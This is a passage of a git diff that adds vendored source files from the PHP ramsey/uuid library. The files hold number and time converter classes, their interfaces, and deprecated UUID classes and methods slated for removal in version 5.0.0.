-0,0 +1,57 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Converter\Number; + +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Math\BrickMathCalculator; + +/** + * Previously used to integrate moontoast/math as a bignum arithmetic library, + * BigNumberConverter is deprecated in favor of GenericNumberConverter + * + * @deprecated Transition to {@see GenericNumberConverter}. + * + * @psalm-immutable + */ +class BigNumberConverter implements NumberConverterInterface +{ + /** + * @var NumberConverterInterface + */ + private $converter; + + public function __construct() + { + $this->converter = new GenericNumberConverter(new BrickMathCalculator()); + } + + /** + * @inheritDoc + * @psalm-pure + */ + public function fromHex(string $hex): string + { + return $this->converter->fromHex($hex); + } + + /** + * @inheritDoc + * @psalm-pure + */ + public function toHex(string $number): string + { + return $this->converter->toHex($number); + } +} diff --git a/vendor/ramsey/uuid/src/Converter/Number/DegradedNumberConverter.php b/vendor/ramsey/uuid/src/Converter/Number/DegradedNumberConverter.php new file mode 100644 index 000000000..c9cfa6864 --- /dev/null +++ b/vendor/ramsey/uuid/src/Converter/Number/DegradedNumberConverter.php @@ -0,0 +1,25 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Converter\Number; + +/** + * @deprecated DegradedNumberConverter is no longer necessary for converting + * numbers on 32-bit systems. Transition to {@see GenericNumberConverter}. + * + * @psalm-immutable + */ +class DegradedNumberConverter extends BigNumberConverter +{ +} diff --git a/vendor/ramsey/uuid/src/Converter/Number/GenericNumberConverter.php b/vendor/ramsey/uuid/src/Converter/Number/GenericNumberConverter.php new file mode 100644 index 000000000..501eac0fa --- /dev/null +++ b/vendor/ramsey/uuid/src/Converter/Number/GenericNumberConverter.php @@ -0,0 +1,63 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Converter\Number; + +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Math\CalculatorInterface; +use Ramsey\Uuid\Type\Integer as IntegerObject; + +/** + * GenericNumberConverter uses the provided calculator to convert decimal + * numbers to and from hexadecimal values + * + * @psalm-immutable + */ +class GenericNumberConverter implements NumberConverterInterface +{ + /** + * @var CalculatorInterface + */ + private $calculator; + + public function __construct(CalculatorInterface $calculator) + { + $this->calculator = $calculator; + } + + /** + * @inheritDoc + * @psalm-pure + * @psalm-return numeric-string + * @psalm-suppress MoreSpecificReturnType we know that the retrieved `string` is never empty + * @psalm-suppress LessSpecificReturnStatement we know that the retrieved `string` is never empty + */ + public function fromHex(string $hex): string + { + return $this->calculator->fromBase($hex, 16)->toString(); + } + + /** + * @inheritDoc + * @psalm-pure + * @psalm-return non-empty-string + * @psalm-suppress MoreSpecificReturnType we know that the retrieved `string` is never empty + * @psalm-suppress LessSpecificReturnStatement we know that the retrieved `string` is never empty + */ + public function toHex(string $number): string + { + /** @phpstan-ignore-next-line PHPStan complains that this is not a non-empty-string. */ + return $this->calculator->toBase(new IntegerObject($number), 16); + } +} diff --git a/vendor/ramsey/uuid/src/Converter/NumberConverterInterface.php b/vendor/ramsey/uuid/src/Converter/NumberConverterInterface.php new file mode 100644 index 000000000..b33ec31f9 --- /dev/null +++ b/vendor/ramsey/uuid/src/Converter/NumberConverterInterface.php @@ -0,0 +1,57 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Converter; + +/** + * A number converter converts UUIDs from hexadecimal characters into + * representations of integers and vice versa + * + * @psalm-immutable + */ +interface NumberConverterInterface +{ + /** + * Converts a hexadecimal number into an string integer representation of + * the number + * + * The integer representation returned is a string representation of the + * integer, to accommodate unsigned integers greater than PHP_INT_MAX. + * + * @param string $hex The hexadecimal string representation to convert + * + * @return string String representation of an integer + * + * @psalm-return numeric-string + * + * @psalm-pure + */ + public function fromHex(string $hex): string; + + /** + * Converts a string integer representation into a hexadecimal string + * representation of the number + * + * @param string $number A string integer representation to convert; this + * must be a numeric string to accommodate unsigned integers greater + * than PHP_INT_MAX. + * + * @return string Hexadecimal string + * + * @psalm-return non-empty-string + * + * @psalm-pure + */ + public function toHex(string $number): string; +} diff --git a/vendor/ramsey/uuid/src/Converter/Time/BigNumberTimeConverter.php b/vendor/ramsey/uuid/src/Converter/Time/BigNumberTimeConverter.php new file mode 100644 index 000000000..7390dad83 --- /dev/null +++ b/vendor/ramsey/uuid/src/Converter/Time/BigNumberTimeConverter.php @@ -0,0 +1,51 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Converter\Time; + +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Math\BrickMathCalculator; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Time; + +/** + * Previously used to integrate moontoast/math as a bignum arithmetic library, + * BigNumberTimeConverter is deprecated in favor of GenericTimeConverter + * + * @deprecated Transition to {@see GenericTimeConverter}. + * + * @psalm-immutable + */ +class BigNumberTimeConverter implements TimeConverterInterface +{ + /** + * @var TimeConverterInterface + */ + private $converter; + + public function __construct() + { + $this->converter = new GenericTimeConverter(new BrickMathCalculator()); + } + + public function calculateTime(string $seconds, string $microseconds): Hexadecimal + { + return $this->converter->calculateTime($seconds, $microseconds); + } + + public function convertTime(Hexadecimal $uuidTimestamp): Time + { + return $this->converter->convertTime($uuidTimestamp); + } +} diff --git a/vendor/ramsey/uuid/src/Converter/Time/DegradedTimeConverter.php b/vendor/ramsey/uuid/src/Converter/Time/DegradedTimeConverter.php new file mode 100644 index 000000000..cdc28752d --- /dev/null +++ b/vendor/ramsey/uuid/src/Converter/Time/DegradedTimeConverter.php @@ -0,0 +1,25 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Converter\Time; + +/** + * @deprecated DegradedTimeConverter is no longer necessary for converting + * time on 32-bit systems. Transition to {@see GenericTimeConverter}. + * + * @psalm-immutable + */ +class DegradedTimeConverter extends BigNumberTimeConverter +{ +} diff --git a/vendor/ramsey/uuid/src/Converter/Time/GenericTimeConverter.php b/vendor/ramsey/uuid/src/Converter/Time/GenericTimeConverter.php new file mode 100644 index 000000000..a8aa64b73 --- /dev/null +++ b/vendor/ramsey/uuid/src/Converter/Time/GenericTimeConverter.php @@ -0,0 +1,124 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Converter\Time; + +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Math\CalculatorInterface; +use Ramsey\Uuid\Math\RoundingMode; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Ramsey\Uuid\Type\Time; + +use function explode; +use function str_pad; + +use const STR_PAD_LEFT; + +/** + * GenericTimeConverter uses the provided calculator to calculate and convert + * time values + * + * @psalm-immutable + */ +class GenericTimeConverter implements TimeConverterInterface +{ + /** + * The number of 100-nanosecond intervals from the Gregorian calendar epoch + * to the Unix epoch. + */ + private const GREGORIAN_TO_UNIX_INTERVALS = '122192928000000000'; + + /** + * The number of 100-nanosecond intervals in one second. + */ + private const SECOND_INTERVALS = '10000000'; + + /** + * The number of 100-nanosecond intervals in one microsecond. + */ + private const MICROSECOND_INTERVALS = '10'; + + /** + * @var CalculatorInterface + */ + private $calculator; + + public function __construct(CalculatorInterface $calculator) + { + $this->calculator = $calculator; + } + + public function calculateTime(string $seconds, string $microseconds): Hexadecimal + { + $timestamp = new Time($seconds, $microseconds); + + // Convert the seconds into a count of 100-nanosecond intervals. + $sec = $this->calculator->multiply( + $timestamp->getSeconds(), + new IntegerObject(self::SECOND_INTERVALS) + ); + + // Convert the microseconds into a count of 100-nanosecond intervals. + $usec = $this->calculator->multiply( + $timestamp->getMicroseconds(), + new IntegerObject(self::MICROSECOND_INTERVALS) + ); + + // Combine the seconds and microseconds intervals and add the count of + // 100-nanosecond intervals from the Gregorian calendar epoch to the + // Unix epoch. This gives us the correct count of 100-nanosecond + // intervals since the Gregorian calendar epoch for the given seconds + // and microseconds. + /** @var IntegerObject $uuidTime */ + $uuidTime = $this->calculator->add( + $sec, + $usec, + new IntegerObject(self::GREGORIAN_TO_UNIX_INTERVALS) + ); + + $uuidTimeHex = str_pad( + $this->calculator->toHexadecimal($uuidTime)->toString(), + 16, + '0', + STR_PAD_LEFT + ); + + return new Hexadecimal($uuidTimeHex); + } + + public function convertTime(Hexadecimal $uuidTimestamp): Time + { + // From the total, subtract the number of 100-nanosecond intervals from + // the Gregorian calendar epoch to the Unix epoch. This gives us the + // number of 100-nanosecond intervals from the Unix epoch, which also + // includes the microtime. + $epochNanoseconds = $this->calculator->subtract( + $this->calculator->toInteger($uuidTimestamp), + new IntegerObject(self::GREGORIAN_TO_UNIX_INTERVALS) + ); + + // Convert the 100-nanosecond intervals into seconds and microseconds. + $unixTimestamp = $this->calculator->divide( + RoundingMode::HALF_UP, + 6, + $epochNanoseconds, + new IntegerObject(self::SECOND_INTERVALS) + ); + + $split = explode('.', (string) $unixTimestamp, 2); + + return new Time($split[0], $split[1] ?? 0); + } +} diff --git a/vendor/ramsey/uuid/src/Converter/Time/PhpTimeConverter.php b/vendor/ramsey/uuid/src/Converter/Time/PhpTimeConverter.php new file mode 100644 index 000000000..538d2f2f6 --- /dev/null +++ b/vendor/ramsey/uuid/src/Converter/Time/PhpTimeConverter.php @@ -0,0 +1,183 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Converter\Time; + +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Math\BrickMathCalculator; +use Ramsey\Uuid\Math\CalculatorInterface; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Ramsey\Uuid\Type\Time; + +use function count; +use function dechex; +use function explode; +use function is_float; +use function is_int; +use function str_pad; +use function strlen; +use function substr; + +use const STR_PAD_LEFT; +use const STR_PAD_RIGHT; + +/** + * PhpTimeConverter uses built-in PHP functions and standard math operations + * available to the PHP programming language to provide facilities for + * converting parts of time into representations that may be used in UUIDs + * + * @psalm-immutable + */ +class PhpTimeConverter implements TimeConverterInterface +{ + /** + * The number of 100-nanosecond intervals from the Gregorian calendar epoch + * to the Unix epoch. + */ + private const GREGORIAN_TO_UNIX_INTERVALS = 0x01b21dd213814000; + + /** + * The number of 100-nanosecond intervals in one second. + */ + private const SECOND_INTERVALS = 10000000; + + /** + * The number of 100-nanosecond intervals in one microsecond. + */ + private const MICROSECOND_INTERVALS = 10; + + /** + * @var CalculatorInterface + */ + private $calculator; + + /** + * @var TimeConverterInterface + */ + private $fallbackConverter; + + /** + * @var int + */ + private $phpPrecision; + + public function __construct( + ?CalculatorInterface $calculator = null, + ?TimeConverterInterface $fallbackConverter = null + ) { + if ($calculator === null) { + $calculator = new BrickMathCalculator(); + } + + if ($fallbackConverter === null) { + $fallbackConverter = new GenericTimeConverter($calculator); + } + + $this->calculator = $calculator; + $this->fallbackConverter = $fallbackConverter; + $this->phpPrecision = (int) ini_get('precision'); + } + + public function calculateTime(string $seconds, string $microseconds): Hexadecimal + { + $seconds = new IntegerObject($seconds); + $microseconds = new IntegerObject($microseconds); + + // Calculate the count of 100-nanosecond intervals since the Gregorian + // calendar epoch for the given seconds and microseconds. + $uuidTime = ((int) $seconds->toString() * self::SECOND_INTERVALS) + + ((int) $microseconds->toString() * self::MICROSECOND_INTERVALS) + + self::GREGORIAN_TO_UNIX_INTERVALS; + + // Check to see whether we've overflowed the max/min integer size. + // If so, we will default to a different time converter. + /** @psalm-suppress RedundantCondition */ + if (!is_int($uuidTime)) { + return $this->fallbackConverter->calculateTime( + $seconds->toString(), + $microseconds->toString() + ); + } + + return new Hexadecimal(str_pad(dechex($uuidTime), 16, '0', STR_PAD_LEFT)); + } + + public function convertTime(Hexadecimal $uuidTimestamp): Time + { + $timestamp = $this->calculator->toInteger($uuidTimestamp); + + // Convert the 100-nanosecond intervals into seconds and microseconds. + $splitTime = $this->splitTime( + ((int) $timestamp->toString() - self::GREGORIAN_TO_UNIX_INTERVALS) + / self::SECOND_INTERVALS + ); + + if (count($splitTime) === 0) { + return $this->fallbackConverter->convertTime($uuidTimestamp); + } + + return new Time($splitTime['sec'], $splitTime['usec']); + } + + /** + * @param int|float $time The time to split into seconds and microseconds + * + * @return string[] + */ + private function splitTime($time): array + { + $split = explode('.', (string) $time, 2); + + // If the $time value is a float but $split only has 1 element, then the + // float math was rounded up to the next second, so we want to return + // an empty array to allow use of the fallback converter. + if (is_float($time) && count($split) === 1) { + return []; + } + + if (count($split) === 1) { + return [ + 'sec' => $split[0], + 'usec' => '0', + ]; + } + + // If the microseconds are less than six characters AND the length of + // the number is greater than or equal to the PHP precision, then it's + // possible that we lost some precision for the microseconds. Return an + // empty array, so that we can choose to use the fallback converter. + if (strlen($split[1]) < 6 && strlen((string) $time) >= $this->phpPrecision) { + return []; + } + + $microseconds = $split[1]; + + // Ensure the microseconds are no longer than 6 digits. If they are, + // truncate the number to the first 6 digits and round up, if needed. + if (strlen($microseconds) > 6) { + $roundingDigit = (int) substr($microseconds, 6, 1); + $microseconds = (int) substr($microseconds, 0, 6); + + if ($roundingDigit >= 5) { + $microseconds++; + } + } + + return [ + 'sec' => $split[0], + 'usec' => str_pad((string) $microseconds, 6, '0', STR_PAD_RIGHT), + ]; + } +} diff --git a/vendor/ramsey/uuid/src/Converter/TimeConverterInterface.php b/vendor/ramsey/uuid/src/Converter/TimeConverterInterface.php new file mode 100644 index 000000000..1e8480701 --- /dev/null +++ b/vendor/ramsey/uuid/src/Converter/TimeConverterInterface.php @@ -0,0 +1,58 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Converter; + +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Time; + +/** + * A time converter converts timestamps into representations that may be used + * in UUIDs + * + * @psalm-immutable + */ +interface TimeConverterInterface +{ + /** + * Uses the provided seconds and micro-seconds to calculate the count of + * 100-nanosecond intervals since UTC 00:00:00.00, 15 October 1582, for + * RFC 4122 variant UUIDs + * + * @link http://tools.ietf.org/html/rfc4122#section-4.2.2 RFC 4122, § 4.2.2: Generation Details + * + * @param string $seconds A string representation of the number of seconds + * since the Unix epoch for the time to calculate + * @param string $microseconds A string representation of the micro-seconds + * associated with the time to calculate + * + * @return Hexadecimal The full UUID timestamp as a Hexadecimal value + * + * @psalm-pure + */ + public function calculateTime(string $seconds, string $microseconds): Hexadecimal; + + /** + * Converts a timestamp extracted from a UUID to a Unix timestamp + * + * @param Hexadecimal $uuidTimestamp A hexadecimal representation of a UUID + * timestamp; a UUID timestamp is a count of 100-nanosecond intervals + * since UTC 00:00:00.00, 15 October 1582. + * + * @return Time An instance of {@see Time} + * + * @psalm-pure + */ + public function convertTime(Hexadecimal $uuidTimestamp): Time; +} diff --git a/vendor/ramsey/uuid/src/DegradedUuid.php b/vendor/ramsey/uuid/src/DegradedUuid.php new file mode 100644 index 000000000..9166042cc --- /dev/null +++ b/vendor/ramsey/uuid/src/DegradedUuid.php @@ -0,0 +1,25 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid; + +/** + * @deprecated DegradedUuid is no longer necessary to represent UUIDs on 32-bit + * systems. Transition typehints to {@see UuidInterface}. + * + * @psalm-immutable + */ +class DegradedUuid extends Uuid +{ +} diff --git a/vendor/ramsey/uuid/src/DeprecatedUuidInterface.php b/vendor/ramsey/uuid/src/DeprecatedUuidInterface.php new file mode 100644 index 000000000..ed6d9dec8 --- /dev/null +++ b/vendor/ramsey/uuid/src/DeprecatedUuidInterface.php @@ -0,0 +1,147 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid; + +use DateTimeInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; + +/** + * This interface encapsulates deprecated methods for ramsey/uuid; this + * interface and its methods will be removed in ramsey/uuid 5.0.0. + * + * @psalm-immutable + */ +interface DeprecatedUuidInterface +{ + /** + * @deprecated This method will be removed in 5.0.0. There is no alternative + * recommendation, so plan accordingly. + */ + public function getNumberConverter(): NumberConverterInterface; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. + * + * @return string[] + */ + public function getFieldsHex(): array; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getClockSeqHiAndReserved()}. + */ + public function getClockSeqHiAndReservedHex(): string; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getClockSeqLow()}. + */ + public function getClockSeqLowHex(): string; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getClockSeq()}. + */ + public function getClockSequenceHex(): string; + + /** + * @deprecated In ramsey/uuid version 5.0.0, this will be removed from the + * interface. It is available at {@see UuidV1::getDateTime()}. + */ + public function getDateTime(): DateTimeInterface; + + /** + * @deprecated This method will be removed in 5.0.0. There is no direct + * alternative, but the same information may be obtained by splitting + * in half the value returned by {@see UuidInterface::getHex()}. + */ + public function getLeastSignificantBitsHex(): string; + + /** + * @deprecated This method will be removed in 5.0.0. There is no direct + * alternative, but the same information may be obtained by splitting + * in half the value returned by {@see UuidInterface::getHex()}. + */ + public function getMostSignificantBitsHex(): string; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getNode()}. + */ + public function getNodeHex(): string; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getTimeHiAndVersion()}. + */ + public function getTimeHiAndVersionHex(): string; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getTimeLow()}. + */ + public function getTimeLowHex(): string; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getTimeMid()}. + */ + public function getTimeMidHex(): string; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getTimestamp()}. + */ + public function getTimestampHex(): string; + + /** + * @deprecated In ramsey/uuid version 5.0.0, this will be removed from this + * interface. It has moved to {@see \Ramsey\Uuid\Rfc4122\UuidInterface::getUrn()}. + */ + public function getUrn(): string; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getVariant()}. + */ + public function getVariant(): ?int; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getVersion()}. + */ + public function getVersion(): ?int; +} diff --git a/vendor/ramsey/uuid/src/DeprecatedUuidMethodsTrait.php b/vendor/ramsey/uuid/src/DeprecatedUuidMethodsTrait.php new file mode 100644 index 000000000..342829523 --- /dev/null +++ b/vendor/ramsey/uuid/src/DeprecatedUuidMethodsTrait.php @@ -0,0 +1,370 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid; + +use DateTimeImmutable; +use DateTimeInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\DateTimeException; +use Ramsey\Uuid\Exception\UnsupportedOperationException; +use Ramsey\Uuid\Rfc4122\FieldsInterface as Rfc4122FieldsInterface; +use Throwable; + +use function str_pad; +use function substr; + +use const STR_PAD_LEFT; + +/** + * This trait encapsulates deprecated methods for ramsey/uuid; this trait and + * its methods will be removed in ramsey/uuid 5.0.0. + * + * @psalm-immutable + */ +trait DeprecatedUuidMethodsTrait +{ + /** + * @var Rfc4122FieldsInterface + */ + protected $fields; + + /** + * @var NumberConverterInterface + */ + protected $numberConverter; + + /** + * @var TimeConverterInterface + */ + protected $timeConverter; + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getClockSeqHiAndReserved()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + */ + public function getClockSeqHiAndReserved(): string + { + return $this->numberConverter->fromHex($this->fields->getClockSeqHiAndReserved()->toString()); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getClockSeqHiAndReserved()}. + */ + public function getClockSeqHiAndReservedHex(): string + { + return $this->fields->getClockSeqHiAndReserved()->toString(); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getClockSeqLow()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + */ + public function getClockSeqLow(): string + { + return $this->numberConverter->fromHex($this->fields->getClockSeqLow()->toString()); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getClockSeqLow()}. + */ + public function getClockSeqLowHex(): string + { + return $this->fields->getClockSeqLow()->toString(); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getClockSeq()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + */ + public function getClockSequence(): string + { + return $this->numberConverter->fromHex($this->fields->getClockSeq()->toString()); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getClockSeq()}. + */ + public function getClockSequenceHex(): string + { + return $this->fields->getClockSeq()->toString(); + } + + /** + * @deprecated This method will be removed in 5.0.0. There is no alternative + * recommendation, so plan accordingly. + */ + public function getNumberConverter(): NumberConverterInterface + { + return $this->numberConverter; + } + + /** + * @deprecated In ramsey/uuid version 5.0.0, this will be removed. + * It is available at {@see UuidV1::getDateTime()}. + * + * @return DateTimeImmutable An immutable instance of DateTimeInterface + * + * @throws UnsupportedOperationException if UUID is not time-based + * @throws DateTimeException if DateTime throws an exception/error + */ + public function getDateTime(): DateTimeInterface + { + if ($this->fields->getVersion() !== 1) { + throw new UnsupportedOperationException('Not a time-based UUID'); + } + + $time = $this->timeConverter->convertTime($this->fields->getTimestamp()); + + try { + return new DateTimeImmutable( + '@' + . $time->getSeconds()->toString() + . '.' + . str_pad($time->getMicroseconds()->toString(), 6, '0', STR_PAD_LEFT) + ); + } catch (Throwable $e) { + throw new DateTimeException($e->getMessage(), (int) $e->getCode(), $e); + } + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. + * + * @return string[] + */ + public function getFieldsHex(): array + { + return [ + 'time_low' => $this->fields->getTimeLow()->toString(), + 'time_mid' => $this->fields->getTimeMid()->toString(), + 'time_hi_and_version' => $this->fields->getTimeHiAndVersion()->toString(), + 'clock_seq_hi_and_reserved' => $this->fields->getClockSeqHiAndReserved()->toString(), + 'clock_seq_low' => $this->fields->getClockSeqLow()->toString(), + 'node' => $this->fields->getNode()->toString(), + ]; + } + + /** + * @deprecated This method will be removed in 5.0.0. There is no direct + * alternative, but the same information may be obtained by splitting + * in half the value returned by {@see UuidInterface::getHex()}. + */ + public function getLeastSignificantBits(): string + { + $leastSignificantHex = substr($this->getHex()->toString(), 16); + + return $this->numberConverter->fromHex($leastSignificantHex); + } + + /** + * @deprecated This method will be removed in 5.0.0. There is no direct + * alternative, but the same information may be obtained by splitting + * in half the value returned by {@see UuidInterface::getHex()}. + */ + public function getLeastSignificantBitsHex(): string + { + return substr($this->getHex()->toString(), 16); + } + + /** + * @deprecated This method will be removed in 5.0.0. There is no direct + * alternative, but the same information may be obtained by splitting + * in half the value returned by {@see UuidInterface::getHex()}. + */ + public function getMostSignificantBits(): string + { + $mostSignificantHex = substr($this->getHex()->toString(), 0, 16); + + return $this->numberConverter->fromHex($mostSignificantHex); + } + + /** + * @deprecated This method will be removed in 5.0.0. There is no direct + * alternative, but the same information may be obtained by splitting + * in half the value returned by {@see UuidInterface::getHex()}. + */ + public function getMostSignificantBitsHex(): string + { + return substr($this->getHex()->toString(), 0, 16); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getNode()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + */ + public function getNode(): string + { + return $this->numberConverter->fromHex($this->fields->getNode()->toString()); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getNode()}. + */ + public function getNodeHex(): string + { + return $this->fields->getNode()->toString(); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimeHiAndVersion()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + */ + public function getTimeHiAndVersion(): string + { + return $this->numberConverter->fromHex($this->fields->getTimeHiAndVersion()->toString()); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimeHiAndVersion()}. + */ + public function getTimeHiAndVersionHex(): string + { + return $this->fields->getTimeHiAndVersion()->toString(); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimeLow()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + */ + public function getTimeLow(): string + { + return $this->numberConverter->fromHex($this->fields->getTimeLow()->toString()); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimeLow()}. + */ + public function getTimeLowHex(): string + { + return $this->fields->getTimeLow()->toString(); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimeMid()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + */ + public function getTimeMid(): string + { + return $this->numberConverter->fromHex($this->fields->getTimeMid()->toString()); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimeMid()}. + */ + public function getTimeMidHex(): string + { + return $this->fields->getTimeMid()->toString(); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimestamp()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + */ + public function getTimestamp(): string + { + if ($this->fields->getVersion() !== 1) { + throw new UnsupportedOperationException('Not a time-based UUID'); + } + + return $this->numberConverter->fromHex($this->fields->getTimestamp()->toString()); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimestamp()}. + */ + public function getTimestampHex(): string + { + if ($this->fields->getVersion() !== 1) { + throw new UnsupportedOperationException('Not a time-based UUID'); + } + + return $this->fields->getTimestamp()->toString(); + } + + /** + * @deprecated This has moved to {@see Rfc4122FieldsInterface::getUrn()} and + * is available on {@see \Ramsey\Uuid\Rfc4122\UuidV1}, + * {@see \Ramsey\Uuid\Rfc4122\UuidV3}, {@see 